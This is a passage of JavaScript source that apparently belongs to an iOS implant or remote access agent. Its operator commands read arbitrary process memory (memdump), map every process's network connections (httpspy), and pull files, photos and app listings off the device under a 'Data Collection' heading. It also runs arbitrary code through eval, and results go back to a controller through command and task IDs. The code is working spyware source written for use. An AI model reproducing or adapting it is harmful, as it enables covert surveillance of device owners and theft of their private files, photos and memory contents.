j].toString(16);\n\t\t\t\thex += (hx.length < 2 ? \"0\" + hx : hx) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += a + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\tif (readSize > maxShow) out += \"\\n... truncated (read \" + readSize + \" bytes, showing \" + maxShow + \")\\n\";\n\tout += \"\\n\" + readSize + \" bytes read from pid \" + pid + \" at 0x\" + address.toString(16) + \"\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Commands ----\n\nfunction _cmdIfconfig(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"ifconfig: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"ifconfig: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar ifMap = {};\n\tvar ifOrder = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar flags = _readU32(ifa, 16);\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (!ifMap[name]) {\n\t\t\t\tifMap[name] = { flags: flags, addrs: [], mtu: 0 };\n\t\t\t\tifOrder.push(name);\n\t\t\t}\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\n\t\t\t\tif (family === 2) {\n\t\t\t\t\tvar ab = new Uint8Array(Native.read(addrPtr + 4n, 4));\n\t\t\t\t\tvar ip = ab[0] + \".\" + ab[1] + \".\" + ab[2] + \".\" + ab[3];\n\t\t\t\t\tvar entry = { type: \"inet\", addr: ip };\n\t\t\t\t\tvar maskPtr = Native.readPtr(ifa + 32n);\n\t\t\t\t\tif (maskPtr && maskPtr !== 0n) {\n\t\t\t\t\t\tvar mb = new Uint8Array(Native.read(maskPtr + 4n, 4));\n\t\t\t\t\t\tentry.mask = mb[0] + \".\" + mb[1] + \".\" + mb[2] + \".\" + mb[3];\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push(entry);\n\t\t\t\t} else if (family === 30) {\n\t\t\t\t\tvar a6 = new Uint8Array(Native.read(addrPtr + 8n, 16));\n\t\t\t\t\tvar v6 = \"\";\n\t\t\t\t\tfor (var k = 0; k < 16; k += 2) {\n\t\t\t\t\t\tif (k > 0) v6 += \":\";\n\t\t\t\t\t\tv6 += ((a6[k] << 8) | a6[k + 1]).toString(16);\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push({ type: \"inet6\", addr: v6 });\n\t\t\t\t} else if (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tifMap[name].mtu = _readU32(dataPtr, 8);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip this entry on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"\";\n\tfor (var oi = 0; oi < ifOrder.length; oi++) {\n\t\tvar n = ifOrder[oi];\n\t\tvar inf = ifMap[n];\n\t\tvar fl = [];\n\t\tif (inf.flags & 0x1) fl.push(\"UP\");\n\t\tif (inf.flags & 0x2) fl.push(\"BROADCAST\");\n\t\tif (inf.flags & 0x8) fl.push(\"LOOPBACK\");\n\t\tif (inf.flags & 0x10) fl.push(\"POINTOPOINT\");\n\t\tif (inf.flags & 0x40) fl.push(\"RUNNING\");\n\t\tif (inf.flags & 0x8000) fl.push(\"MULTICAST\");\n\t\tout += n + \": flags=0x\" + inf.flags.toString(16) + \" <\" + fl.join(\",\") + \">\";\n\t\tif (inf.mtu > 0) out += \" mtu \" + inf.mtu;\n\t\tout += \"\\n\";\n\t\tfor (var ai = 0; ai < inf.addrs.length; ai++) {\n\t\t\tvar ad = inf.addrs[ai];\n\t\t\tif (ad.type === \"inet\") {\n\t\t\t\tout += \"\\tinet \" + ad.addr;\n\t\t\t\tif (ad.mask) out += \" netmask \" + ad.mask;\n\t\t\t\tout += \"\\n\";\n\t\t\t} else if (ad.type === \"inet6\") {\n\t\t\t\tout += \"\\tinet6 \" + ad.addr + \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdNetstats(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"netstats: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"netstats: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar stats = {};\n\tvar order = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\t\t\t\tif (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tif (!stats[name]) order.push(name);\n\t\t\t\t\t\tstats[name] = {\n\t\t\t\t\t\t\tmtu: _readU32(dataPtr, 8),\n\t\t\t\t\t\t\tipackets: _readU32(dataPtr, 20),\n\t\t\t\t\t\t\tierrors: _readU32(dataPtr, 24),\n\t\t\t\t\t\t\topackets: _readU32(dataPtr, 28),\n\t\t\t\t\t\t\toerrors: _readU32(dataPtr, 32),\n\t\t\t\t\t\t\tcollisions: _readU32(dataPtr, 36),\n\t\t\t\t\t\t\tibytes: _readU32(dataPtr, 40),\n\t\t\t\t\t\t\tobytes: _readU32(dataPtr, 44)\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"Interface\\tRX bytes\\tTX bytes\\tRX pkts\\t\\tTX pkts\\t\\tRX err\\tTX err\\n\";\n\tvar totalRx = 0, totalTx = 0;\n\tfor (var si = 0; si < order.length; si++) {\n\t\tvar sn = order[si];\n\t\tvar s = stats[sn];\n\t\tout += sn + \"\\t\\t\" + _fmtSizeH(s.ibytes) + \"\\t\\t\" + _fmtSizeH(s.obytes)\n\t\t\t+ \"\\t\\t\" + s.ipackets + \"\\t\\t\" + s.opackets\n\t\t\t+ \"\\t\\t\" + s.ierrors + \"\\t\" + s.oerrors + \"\\n\";\n\t\ttotalRx += s.ibytes;\n\t\ttotalTx += s.obytes;\n\t}\n\tout += \"\\nTotal RX: \" + _fmtSizeH(totalRx) + \" TX: \" + _fmtSizeH(totalTx) + \"\\n\";\n\n\tout += \"\\nNetwork type summary:\\n\";\n\tfor (var ni = 0; ni < order.length; ni++) {\n\t\tvar nn = order[ni];\n\t\tvar ns = stats[nn];\n\t\tif (ns.ibytes === 0 && ns.obytes === 0) continue;\n\t\tvar netType = \"other\";\n\t\tif (nn === \"en0\") netType = \"WiFi\";\n\t\telse if (nn === \"lo0\") netType = \"Loopback\";\n\t\telse if (nn.indexOf(\"pdp_ip\") === 0) netType = \"Cellular\";\n\t\telse if (nn.indexOf(\"utun\") === 0) netType = \"VPN/Tunnel\";\n\t\telse if (nn.indexOf(\"ipsec\") === 0) netType = \"IPSec\";\n\t\telse if (nn.indexOf(\"en\") === 0) netType = \"Ethernet\";\n\t\telse if (nn.indexOf(\"awdl\") === 0) netType = \"AWDL (AirDrop)\";\n\t\tout += \" \" + nn + \" (\" + netType + \"): RX \" + _fmtSizeH(ns.ibytes) + \" / TX \" + _fmtSizeH(ns.obytes) + \"\\n\";\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Connection Commands ----\n\nfunction _fmtIPv6Short(data, off) {\n\tvar parts = [];\n\tfor (var i = 0; i < 16; i += 2) {\n\t\tparts.push(((data[off + i] << 8) | data[off + i + 1]).toString(16));\n\t}\n\treturn parts.join(\":\");\n}\n\nfunction _getSysctlPcbList(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return null;\n\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar dataSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (dataSize <= 0 || dataSize > 10 * 1024 * 1024) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar allocSize = dataSize + 4096;\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(allocSize));\n\tif (!dataBuf || dataBuf === 0n) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tNative.write64(sizePtr, BigInt(allocSize));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, dataBuf, sizePtr, 0, 0));\n\tvar actualSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tNative.callSymbol(\"free\", sizePtr);\n\n\tif (rc !== 0) { Native.callSymbol(\"free\", dataBuf); return null; }\n\treturn { buf: dataBuf, size: actualSize };\n}\n\nfunction _parseConnections(dataBuf, dataSize, isTcp) {\n\tvar XSO_INPCB = 0x010, XSO_TCPCB = 0x020;\n\tvar conns = [];\n\n\tif (dataSize < 24) return conns;\n\tvar headerLen = _readU32(dataBuf, 0);\n\tif (headerLen < 16 || headerLen > 256) return conns;\n\n\tvar off = headerLen;\n\tvar cur = null;\n\tvar maxIter = 50000;\n\n\twhile (off + 8 <= dataSize && maxIter-- > 0) {\n\t\tvar eLen = _readU32(dataBuf, off);\n\t\tvar eKind = _readU32(dataBuf, off + 4);\n\t\tif (eLen < 8 || eLen > 8192 || off + eLen > dataSize) break;\n\n\t\ttry {\n\t\t\tif (isTcp && eKind === XSO_TCPCB) {\n\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\tif (eLen >= 40) cur.state = _readU32(dataBuf, off + 36);\n\t\t\t} else if (eKind === XSO_INPCB) {\n\t\t\t\tif (!isTcp) {\n\t\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\t}\n\t\t\t\tif (cur && eLen >= 84) {\n\t\t\t\t\tcur.fport = (_readU8(dataBuf, off + 16) << 8) | _readU8(dataBuf, off + 17);\n\t\t\t\t\tcur.lport = (_readU8(dataBuf, off + 18) << 8) | _readU8(dataBuf, off + 19);\n\t\t\t\t\tcur.vflag = _readU8(dataBuf, off + 48);\n\n\t\t\t\t\tif (cur.vflag & 1) {\n\t\t\t\t\t\tvar la = new Uint8Array(Native.read(dataBuf + BigInt(off + 64), 4));\n\t\t\t\t\t\tvar fa = new Uint8Array(Native.read(dataBuf + BigInt(off + 80), 4));\n\t\t\t\t\t\tcur.laddr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t\t\tcur.faddr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\t} else if (cur.vflag & 2) {\n\t\t\t\t\t\tvar la6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 52), 16));\n\t\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 68), 16));\n\t\t\t\t\t\tcur.laddr = _fmtIPv6Short(la6, 0);\n\t\t\t\t\t\tcur.faddr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (parseErr) { /* skip malformed entry */ }\n\n\t\toff += eLen;\n\t}\n\tif (cur) conns.push(cur);\n\treturn conns;\n}\n\nfunction _cmdConnections(args) {\n\tvar showTcp = true, showUdp = true, showListen = false, showAll = false;\n\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-t\") { showTcp = true; showUdp = false; }\n\t\telse if (args[i] === \"-u\") { showTcp = false; showUdp = true; }\n\t\telse if (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-l\") showListen = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: connections [-t] [-u] [-a] [-l]\\n\" +\n\t\t\t\t\" -t Show TCP connections only\\n\" +\n\t\t\t\t\" -u Show UDP sockets only\\n\" +\n\t\t\t\t\" -a Show all (including LISTEN, TIME_WAIT, CLOSED)\\n\" +\n\t\t\t\t\" -l Show only LISTEN sockets\\n\" +\n\t\t\t\t\" Default: show TCP+UDP, hide LISTEN/TIME_WAIT/CLOSED\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\n\tvar out = \"Proto Local Address Foreign Address State\\n\";\n\tout += \"----- ------------------------- ------------------------- -----------\\n\";\n\tvar total = 0;\n\n\tif (showTcp) {\n\t\tvar tcpData = _getSysctlPcbList(\"net.inet.tcp.pcblist_n\");\n\t\tif (tcpData) {\n\t\t\tvar tcpConns = _parseConnections(tcpData.buf, tcpData.size, true);\n\t\t\tNative.callSymbol(\"free\", tcpData.buf);\n\n\t\t\tfor (var ci = 0; ci < tcpConns.length; ci++) {\n\t\t\t\tvar c = tcpConns[ci];\n\t\t\t\tvar st = (c.state >= 0 && c.state < tcpStates.length) ? tcpStates[c.state] : \"?\" + c.state;\n\n\t\t\t\tif (!showAll) {\n\t\t\t\t\tif (showListen && st !== \"LISTEN\") continue;\n\t\t\t\t\tif (!showListen && (st === \"TIME_WAIT\" || st === \"CLOSED\" || st === \"LISTEN\")) continue;\n\t\t\t\t}\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"tcp6 \" : \"tcp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + st + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(tcp: sysctl net.inet.tcp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tif (showUdp) {\n\t\tvar udpData = _getSysctlPcbList(\"net.inet.udp.pcblist_n\");\n\t\tif (udpData) {\n\t\t\tvar udpConns = _parseConnections(udpData.buf, udpData.size, false);\n\t\t\tNative.callSymbol(\"free\", udpData.buf);\n\n\t\t\tfor (var ci = 0; ci < udpConns.length; ci++) {\n\t\t\t\tvar c = udpConns[ci];\n\t\t\t\tif (!showAll && c.lport === 0 && c.fport === 0) continue;\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"udp6 \" : \"udp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(udp: sysctl net.inet.udp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tout += \"\\nTotal: \" + total + \" connections\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Process Network Spy ----\n\nfunction _cmdHttpspy(args) {\n\tvar showAll = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: httpspy [-a]\\n\" +\n\t\t\t\t\" Maps active network connections to owning processes\\n\" +\n\t\t\t\t\" Default: show only HTTP (80) / HTTPS (443) connections\\n\" +\n\t\t\t\t\" -a Show ALL network connections per process\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) { Native.callSymbol(\"free\", pidBuf); return { code: 1, out: \"\", err: \"httpspy: proc_listallpids failed\\n\" }; }\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\n\tvar fdInfoSize = 8;\n\tvar fdBuf = Native.callSymbol(\"malloc\", BigInt(fdInfoSize * 2048));\n\tvar sockBuf = Native.callSymbol(\"malloc\", 4096);\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!fdBuf || fdBuf === 0n || !sockBuf || sockBuf === 0n || !nameBuf || nameBuf === 0n) {\n\t\tif (fdBuf && fdBuf !== 0n) Native.callSymbol(\"free\", fdBuf);\n\t\tif (sockBuf && sockBuf !== 0n) Native.callSymbol(\"free\", sockBuf);\n\t\tif (nameBuf && nameBuf !== 0n) Native.callSymbol(\"free\", nameBuf);\n\t\treturn { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\t}\n\n\tvar OFF_SOI_TYPE = 176;\n\tvar OFF_SOI_PROTO = 180;\n\tvar OFF_SOI_FAMILY = 184;\n\tvar OFF_INI_FPORT = 264;\n\tvar OFF_INI_LPORT = 268;\n\tvar OFF_INI_VFLAG = 288;\n\tvar OFF_INI_FADDR4 = 308;\n\tvar OFF_INI_LADDR4 = 324;\n\tvar OFF_INI_FADDR6 = 296;\n\tvar OFF_INI_LADDR6 = 312;\n\tvar OFF_TCP_STATE = 360;\n\tvar MIN_SI_SIZE = 364;\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\tvar results = [];\n\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\tvar pid = pids[pi];\n\t\tvar fdBytes = Number(Native.callSymbol(\"proc_pidinfo\", pid, 1, 0, fdBuf, fdInfoSize * 2048));\n\t\tif (fdBytes <= 0) continue;\n\t\tvar fdCount = Math.floor(fdBytes / fdInfoSize);\n\t\tvar procName = null;\n\n\t\tfor (var fi = 0; fi < fdCount && fi < 2048; fi++) {\n\t\t\ttry {\n\t\t\t\tvar fd = _readU32(fdBuf, fi * 8);\n\t\t\t\tvar fdtype = _readU32(fdBuf, fi * 8 + 4);\n\t\t\t\tif (fdtype !== 2) continue;\n\n\t\t\t\tNative.callSymbol(\"memset\", sockBuf, 0, 4096);\n\t\t\t\tvar infoBytes = Number(Native.callSymbol(\"proc_pidfdinfo\", pid, fd, 3, sockBuf, 4096));\n\t\t\t\tif (infoBytes < MIN_SI_SIZE) continue;\n\n\t\t\t\tvar family = _readU32(sockBuf, OFF_SOI_FAMILY);\n\t\t\t\tvar protocol = _readU32(sockBuf, OFF_SOI_PROTO);\n\t\t\t\tif (family !== 2 && family !== 30) continue;\n\t\t\t\tif (protocol !== 6 && protocol !== 17) continue;\n\n\t\t\t\tvar fport = (_readU8(sockBuf, OFF_INI_FPORT) << 8) | _readU8(sockBuf, OFF_INI_FPORT + 1);\n\t\t\t\tvar lport = (_readU8(sockBuf, OFF_INI_LPORT) << 8) | _readU8(sockBuf, OFF_INI_LPORT + 1);\n\n\t\t\t\tif (!showAll && fport !== 80 && fport !== 443 && lport !== 80 && lport !== 443) continue;\n\n\t\t\t\tvar vflag = _readU8(sockBuf, OFF_INI_VFLAG);\n\t\t\t\tvar faddrStr = \"*\", laddrStr = \"*\";\n\n\t\t\t\tif (vflag & 1) {\n\t\t\t\t\tvar fa = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR4), 4));\n\t\t\t\t\tvar la = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR4), 4));\n\t\t\t\t\tfaddrStr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\tladdrStr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t} else if (vflag & 2) {\n\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR6), 16));\n\t\t\t\t\tvar la6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR6), 16));\n\t\t\t\t\tfaddrStr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\tladdrStr = _fmtIPv6Short(la6, 0);\n\t\t\t\t}\n\n\t\t\t\tvar stateStr = \"\";\n\t\t\t\tif (protocol === 6 && infoBytes > OFF_TCP_STATE + 4) {\n\t\t\t\t\tvar st = _readU32(sockBuf, OFF_TCP_STATE);\n\t\t\t\t\tstateStr = (st < tcpStates.length) ? tcpStates[st] : \"?\" + st;\n\t\t\t\t}\n\n\t\t\t\tif (procName === null) {\n\t\t\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\t\t\tvar nl = Number(Native.callSymbol(\"proc_name\", pid, nameBuf, 255));\n\t\t\t\t\tprocName = nl > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\t\t}\n\n\t\t\t\tresults.push({ pid: pid, name: procName,\n\t\t\t\t\tproto: (protocol === 6 ? \"tcp\" : \"udp\") + (family === 30 ? \"6\" : \"4\"),\n\t\t\t\t\tladdr: laddrStr, lport: lport, faddr: faddrStr, fport: fport, state: stateStr });\n\t\t\t} catch (fdErr) { /* skip on error */ }\n\t\t}\n\t}\n\n\tNative.callSymbol(\"free\", fdBuf);\n\tNative.callSymbol(\"free\", sockBuf);\n\tNative.callSymbol(\"free\", nameBuf);\n\n\tvar out = \"PID Process Proto Local Remote State\\n\";\n\tout += \"----- ------------------- ----- --------------------- --------------------------- -----------\\n\";\n\tfor (var ri = 0; ri < results.length; ri++) {\n\t\tvar r = results[ri];\n\t\tvar ps = \"\" + r.pid; while (ps.length < 6) ps += \" \";\n\t\tvar ns = r.name; while (ns.length < 21) ns += \" \";\n\t\tvar ts = r.proto; while (ts.length < 7) ts += \" \";\n\t\tvar ls = r.laddr + \":\" + r.lport; while (ls.length < 23) ls += \" \";\n\t\tvar rs = r.faddr + \":\" + r.fport; while (rs.length < 29) rs += \" \";\n\t\tout += ps + ns + ts + ls + rs + r.state + \"\\n\";\n\t}\n\tout += \"\\nTotal: \" + results.length + \" connections\";\n\tif (!showAll) out += \" (HTTP/HTTPS only, use -a for all)\";\n\tout += \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Special Commands (delegate to existing handlers) ----\n\nfunction _cmdDownload(args, cmd) {\n\tif (args.length < 2) {\n\t\tsendJSON(cmd.command_id, { exit_code: 1, stdout: \"\", stderr: _strToB64(\"download: missing path\\n\"),\n\t\t\texecution_time: 0, timeout: false, _task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" }, \"exec_result.json\");\n\t\treturn null;\n\t}\n\tvar path = _resolvePath(args[1]);\n\tvar maxSz = args.length > 2 ? parseInt(args[2]) : MAX_FILE_SIZE;\n\thandleDownload({ command_id: cmd.command_id, params: { path: path, max_size: maxSz || MAX_FILE_SIZE,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdPhotos(args, cmd) {\n\tvar maxCount = args.length > 1 ? parseInt(args[1]) : 50;\n\thandlePhotos({ command_id: cmd.command_id, params: { max_count: maxCount || 50,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdApps() {\n\tvar base = \"/var/mobile/Containers/Data/Application\";\n\tvar dirs = listDir(base);\n\tvar out = \"\", count = 0;\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar hasMeta = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tout += dirs[i].name + \"\\t\" + (hasMeta ? \"metadata\" : \"no-metadata\") + \"\\n\";\n\t\tcount++;\n\t}\n\tout += \"\\nTotal: \" + count + \" applications\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdUpload(args, cmd) {\n\tvar paths = [];\n\tfor (var i = 1; i < args.length; i++) paths.push(_resolvePath(args[i]));\n\tif (!paths.length) paths.push(\"/var/mobile\");\n\thandleFileUpload({ command_id: cmd.command_id, params: { upload_paths: paths,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdEvalCode(args) {\n\tvar code = args.slice(1).join(\" \");\n\tif (!code) return { code: 1, out: \"\", err: \"eval: empty code\\n\" };\n\ttry {\n\t\tvar r = eval(code);\n\t\treturn { code: 0, out: String(r !== undefined ? r : \"\") + \"\\n\", err: \"\" };\n\t} catch (e) {\n\t\treturn { code: 1, out: \"\", err: String(e) + \"\\n\" };\n\t}\n}\n\nfunction _cmdHelp() {\n\tvar out = \"Available commands:\\n\";\n\tout += \" File System:\\n\";\n\tout += \" ls [-l] [-a] [path] List directory contents\\n\";\n\tout += \" cat [file2...] Display file content\\n\";\n\tout += \" pwd Print working directory\\n\";\n\tout += \" cd [path] Change directory\\n\";\n\tout += \" mkdir [-p] Create directory\\n\";\n\tout += \" rm [-rf] Remove file or directory\\n\";\n\tout += \" cp Copy file\\n\";\n\tout += \" mv Move/rename\\n\";\n\tout += \" stat File info\\n\";\n\tout += \" chmod Change permissions (octal)\\n\";\n\tout += \" touch Create / update timestamp\\n\";\n\tout += \" ln [-s] Create link\\n\";\n\tout += \" readlink Read symlink target\\n\";\n\tout += \" find [-name p] [-type f|d] Search files\\n\";\n\tout += \" head [-n N] Show first N lines\\n\";\n\tout += \" tail [-n N] Show last N lines\\n\";\n\tout += \" wc [-lwc] Count lines/words/chars\\n\";\n\tout += \" grep [-in] Search in file\\n\";\n\tout += \" du [-sh] Disk usage\\n\";\n\tout += \" file Detect file type\\n\";\n\tout += \" hexdump [-n N] Hex dump\\n\";\n\tout += \" System Info:\\n\";\n\tout += \" whoami Current user\\n\";\n\tout += \" id User/group IDs\\n\";\n\tout += \" uname [-a] System information\\n\";\n\tout += \" hostname Device hostname\\n\";\n\tout += \" df [-h] Disk space\\n\";\n\tout += \" date Current date/time\\n\";\n\tout += \" echo Echo text\\n\";\n\tout += \" Process:\\n\";\n\tout += \" ps List all running processes\\n\";\n\tout += \" memdump Dump process memory (hex addr, max 1MB)\\n\";\n\tout += \" Network:\\n\";\n\tout += \" ifconfig Show network interfaces & IP addresses\\n\";\n\tout += \" netstats Network traffic statistics per interface\\n\";\n\tout += \" connections [-t] [-u] [-a] [-l] List active TCP/UDP connections\\n\";\n\tout += \" httpspy [-a] Map connections to processes (HTTP/HTTPS)\\n\";\n\tout += \" Data Collection:\\n\";\n\tout += \" download [max_size] Download file from device\\n\";\n\tout += \" photos [max_count] Collect photos\\n\";\n\tout += \" apps List installed apps\\n\";\n\tout += \" upload Upload files\\n\";\n\tout += \" Advanced:\\n\";\n\tout += \" eval Execute JavaScript code\\n\";\n\tout += \" help Show this help\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Dispatcher ----\n\nfunction 